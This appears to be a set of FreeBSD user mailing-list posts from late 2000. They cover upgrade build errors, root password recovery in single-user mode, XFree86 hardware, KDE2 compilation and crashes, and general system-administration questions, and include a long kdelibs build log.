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I am upgrading a system from 3.5-STABLE to 4.X-STABLE. As told, I am 
cvsup'ing RELENG_4_0_0_RELEASE then will go to 4.1.1-STABLE.
After cvsup'ing RELENG_4_0_0_RELEASE I get the error below when trying to 
'make buildworld'. I got all the sources except for games, and kerbos.
Any help would be appreciated.
Thanks
Mike

sh /usr/src/tools/install.sh -C -o root -g wheel -m 
444  /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/encoding.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/hash.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/objc-act.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/objc-api.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/objc-list.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/objc.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/runtime.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/sarray.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/thr.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/typedstream.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/NXConstStr.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/Object.h 
/usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/Protocol.h 
/usr/obj/usr/src/i386/usr/include/objc
install: /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/hash.h: No such 
file or directory
*** Error code 71

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.



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hello,
when you wait for the timer of 9s you should press a key and at the
ok prompt type boot -s.
that will let you go in single user mode.
in there you type : mount -u /
mount /var
mount /usr
and then 
passwd root to change your root password.
hth
alex
p.s. you better check with http://www.freebsd.org documentation. 
http://www.FreeBSD.org/FAQ/admin.html#FORGOT-ROOT-PW ;-)



On Wed, 1 Nov 2000, #04125 wrote:

> I changed the password to root and now I can't remember it on my BSD box I can't access anything except a:
> login:
> 
> Then I tried to boot into Single User Mode:
> (1) REBOOTED BSD SERVER 
> (2) I PRESSED <F1> AT PROMT
> (3) I PRESSED THE <SPACEBAR>
> (4) I GOT TO A BOOT PROMPT:
> boot: <--here I typed the -s 
> (5) Then I went to a timer 9sec boot after I wait
> (6) Then I go directly to login prompt?
> login:
> 
> 
> Can you please tell me how to get back into root
> 
> 
> Thanks
> Mike
> 



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i was just wondering what currently available (preferably easily) cards
work really well for xfree86 - my scratch box currently has a Mach64
winboost which doesn't provide a lot of colors at high screen resolutions.
does anyone have any suggestions?  i'd like something that's not too
difficult to reconfigure.

it would also be nice if you knew an online or retail source for the card.

thanks...
-will



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* mdusky <mdusky@gateway.net> [001101 12:30] wrote:
> Hi:
> 
> I was wondering what the freeBSD operating system is compatible with as far
> as software goes.  Could I run Sun Systems software or HP Unix software?  Am
> I limited to Linux compatible software?  Give me the full scoop.

You can only run software on FreeBSD for the same platform, HP and
Sun boxes afaik run on PA-RISC and Sparc CPUs, so probably not.
However you should be able to run SCO, Linux and possibly Solaris-x86
applications on FreeBSD.

> Also, is freeBSD operating system based on the Linux kernel?

haha, no.

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* Mike <mike@fdhosting.com> [001101 14:11] wrote:
> Is there a way to find the time it takes to execute a cgi program writte in 
> C, and the same for the time it takes a PHP script to run from. (preferably 
> output that time on the page generated from the script.)?

C and php both offer interfaces to access the system time, just ask
for the time at the start and end of your script/C code and subtract,
that should give you an answer.

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nathan <beemern@telecom.ksu.edu> writes:

> > Now the question is how to disable DMA in the kernel.  I see option
> > #options         ATA_ENABLE_ATAPI_DMA
> > but it's commented out.  Is there any other way to tell the kernel not
> > to use DMA for ata driver?
> 
> what file is that you are looking at?

My kernel config file.  I also looked in LINT, but didn't find
anything new.

> see the handbook on building custom kernels on at freebsd.org for
> complete accurate instructions

This is not what I meant.  I know how to recompile a kernel.  I just
don't know how to disable DMA.  In my kernel config file DMA is not
enabled...

Any ideas, anyone?

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kde2 for freebsd is full of bugs and unimplemented
features.  does javascript for work anyone using
konqueror?

--- pW <packetwhore@stargate.net> wrote:
> As for root opening up an X app... use just 'su'
> instead of 'su -'
> 
> For mail, look into qmail as well... I am pretty
> happy with it...
> 
> shawn
> 
> On Wed, 1 Nov 2000, John Indra wrote:
> 
> > Dear subscribers...
> > 
> > I have a few questions and I hope these questions
> won't be categorized at to
> > silly to ask.
> > 
> > 1. When I run X as user1, how can I permit other
> user to run applications on
> > my display?
> > Example: I su - to root then when root tries to
> run some X application, my X
> > display doesn't permit it. What should I change so
> root be temporarily be
> > given the permission to ``draw'' something on
> user1's display
> > 
> > 2. I have a Logitech PS/2 wheel mouse. Apparently,
> my mouse looks like an
> > OEM version. Black logo. In XFree86 3.3.6 days, I
> understand that the wheel
> > function for these mice doesn't work. Does it work
> with XFree86 4.x? I have
> > setup appropriate entry in XF86Config and have run
> imwheel. Still doesn't
> > work... Does anyone who have Logtich PS/2 mouse
> wheel OEM working under
> > XFree86 (working wheel I mean)?
> > 
> > 3. I'm very interested in Postfix. On the first
> build, it failed because of
> > SASL. Second, I try to build without SASL support
> cause I don't need it for
> > practise server. All went fine. Do I have to
> modify any entry in
> > /etc/rc.conf? Currently I let my system to run
> sendmail.
> > 
> > Regards,
> > John
> > 
> > 
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I'd like to be able to read a Mac formatted zip disk
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Why not just inform lightspeed.net that freebsd.org has put
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Hello 
 My name is prawit namutawong, my job is to set up the freebsd 4.1.1 for my
company.
I have a question, can apache1.3.14, php 4.0.3, mysql 3.23.27, qmail 1.0.3,
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And what is exactly freebsd, is it like a apache web server?
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On Wednesday 01 November 2000  2:53 am, S.W.Liu wrote:

> > I compile KDE2 under my system(FreeBSD-current, Oct.31, 2000). All program
> of KDE2 is work fine. but when i use the filemanager to view wwww website,
> it crashed! why? (I use proxy to go to network!) Does kde2's filemanager
> cann't use as a www broser? 

It can, but you need to set the proper LIBS variable when compiling before it 
works. The port I have is working fine on 4.1.1 stable

The ports version works for me while self configured and compiled doe not. 
You could try a package rather than compile.

See bugs.kde.org and search for "symbol undefined khtml"

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On Wednesday,  1 November 2000 at 20:47:18 +0100, flag wrote:
> On Tue, 31 Oct 2000, Raymond Law wrote:
>
>> Can someone list the steps on how to add a system call in FreeBSD 4 please?
> [mega-snip]
>
> The response to this question seems to be great material for a FAQ.
> Anybody out there would like to create it?

It's also a little off-topic for questions.  I'm sure you'll get
better answers from -hackers, so I've replied there.

Greg
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From: "S.W.Liu" <hhh@ciac.jl.cn>
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Subject: question about compile KDE2-libs
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I compile kde2support correct. but when i compie kdelibs, it say:



Script started on Thu Nov  2 08:09:30 2000
swliu# gmake gmake  all-recursive
gmake[1]: Entering directory `/home/kde2/kdelibs-2.0'
Making all in dcop
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/dcop'
Making all in .
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/dcop'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/dcop'
Making all in dcopidl
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/dcop/dcopidl'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/dcop/dcopidl'
Making all in dcopidl2cpp
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/dcop/dcopidl2cpp'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/dcop/dcopidl2cpp'
Making all in client
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/dcop/client'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/dcop/client'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/dcop'
Making all in libltdl
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/libltdl'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/libltdl'
Making all in kdecore
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kdecore'
Making all in .
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kdecore'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kdecore'
Making all in tests
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kdecore/tests'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kdecore/tests'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kdecore'
Making all in kdeui
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kdeui'
Making all in .
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kdeui'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kdeui'
Making all in tests
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kdeui/tests'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kdeui/tests'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kdeui'
Making all in kdesu
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kdesu'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kdesu'
Making all in kssl
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kssl'
Making all in kssl
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kssl/kssl'
Making all in caroot
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kssl/kssl/caroot'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/kssl/kssl/caroot'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/kssl/kssl/caroot'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kssl/kssl/caroot'
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kssl/kssl'
gmake[4]: Nothing to be done for `all-am'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kssl/kssl'
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kssl/kssl'
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kssl'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kssl'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kssl'
Making all in kio
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kio'
Making all in .
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio'
Making all in klauncher
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/klauncher'
Making all in .
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kio/klauncher'
gmake[4]: Nothing to be done for `all-am'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kio/klauncher'
Making all in tests
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kio/klauncher/tests'
gmake[4]: Nothing to be done for `all'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kio/klauncher/tests'
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/klauncher'
Making all in kded
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/kded'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/kded'
Making all in file
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/file'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/file'
Making all in http
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/http'
Making all in kcookiejar
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kio/http/kcookiejar'
gmake[4]: Nothing to be done for `all'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kio/http/kcookiejar'
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kio/http'
gmake[4]: Nothing to be done for `all-am'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kio/http'
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/http'
Making all in ftp
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/ftp'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/ftp'
Making all in pics
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/pics'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/pics'
Making all in tests
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/tests'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/tests'
Making all in ksendbugmail
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/ksendbugmail'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/ksendbugmail'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kio'
Making all in kimgio
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kimgio'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kimgio'
Making all in kfile
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kfile'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kfile'
Making all in kparts
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kparts'
Making all in .
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kparts'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kparts'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kparts'
Making all in kjs
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kjs'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kjs'
Making all in libkmid
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/libkmid'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/libkmid'
Making all in ksgmltools
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools'
Making all in customization
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization'
Making all in dtd
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/dtd'
gmake[4]: Nothing to be done for `all'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/dtd'
Making all in entities
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/entities'
gmake[4]: Nothing to be done for `all'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/entities'
Making all in stylesheets
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/stylesheets'
gmake[4]: Nothing to be done for `all'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/stylesheets'
Making all in ca
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ca'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ca/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ca/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ca'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ca'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ca'
Making all in cs
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/cs'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/cs/entities'
gmake[5]: Nothing to be done for `all'.
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gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/cs'
gmake[5]: Nothing to be done for `all-am'.
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gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/cs'
Making all in da
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/da'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/da/entities'
gmake[5]: Nothing to be done for `all'.
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gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/da'
gmake[5]: Nothing to be done for `all-am'.
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gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/da'
Making all in de
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/de'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/de/entities'
gmake[5]: Nothing to be done for `all'.
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gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/de'
gmake[5]: Nothing to be done for `all-am'.
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gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/de'
Making all in el
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/el'
Making all in entities
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gmake[5]: Nothing to be done for `all'.
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gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/el'
gmake[5]: Nothing to be done for `all-am'.
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gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/el'
Making all in en
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/en'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/en/entities'
gmake[5]: Nothing to be done for `all'.
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gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/en'
gmake[5]: Nothing to be done for `all-am'.
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gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/en'
Making all in es
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/es'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/es/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/es/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/es'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/es'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/es'
Making all in et
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Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/et/entities'
gmake[5]: Nothing to be done for `all'.
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gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/et'
gmake[5]: Nothing to be done for `all-am'.
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Making all in fi
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/fi'
Making all in entities
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gmake[5]: Nothing to be done for `all'.
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gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/fi'
gmake[5]: Nothing to be done for `all-am'.
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Making all in fr
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Making all in entities
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gmake[5]: Nothing to be done for `all'.
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Making all in hu
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Making all in entities
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Making all in ja
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Making all in entities
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gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ja/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ja'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ja'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ja'
Making all in nl
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/nl'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/nl/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/nl/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/nl'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/nl'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/nl'
Making all in no
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/no'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/no/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/no/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/no'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/no'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/no'
Making all in pl
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pl'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pl/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pl/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pl'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pl'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pl'
Making all in pt-BR
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt-BR'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt-BR/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt-BR/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt-BR'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt-BR'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt-BR'
Making all in pt
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/pt'
Making all in ro
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ro'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ro/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ro/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ro'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ro'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ro'
Making all in ru
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ru'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ru/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ru/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ru'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ru'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/ru'
Making all in sk
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sk'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sk/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sk/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sk'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sk'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sk'
Making all in sl
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sl'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sl/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sl/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sl'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sl'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sl'
Making all in sr
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sr'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sr/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sr/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sr'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sr'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sr'
Making all in sv
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sv'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sv/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sv/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sv'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sv'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sv'
Making all in zh-CN
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/zh-CN'
Making all in entities
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/zh-CN/entities'
gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/zh-CN/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/zh-CN'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/zh-CN'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/zh-CN'
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization'
gmake[4]: Nothing to be done for `all-am'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization'
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization'
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools'
Making all in arts
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/arts'
Making all in mcop
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/arts/mcop'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/arts/mcop'
Making all in mcopidl
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/arts/mcopidl'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/arts/mcopidl'
Making all in flow
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/arts/flow'
Making all in mcopclass
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/arts/flow/mcopclass'
gmake[4]: Nothing to be done for `all'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/arts/flow/mcopclass'
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/arts/flow'
../../arts/mcopidl/mcopidl ../../arts/flow/artsflow.idl
gmake[4]: *** [artsflow.h] Segmentation fault (core dumped)
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/arts/flow'
gmake[3]: *** [all-recursive] Error 1
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/arts/flow'
gmake[2]: *** [all-recursive] Error 1
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/arts'
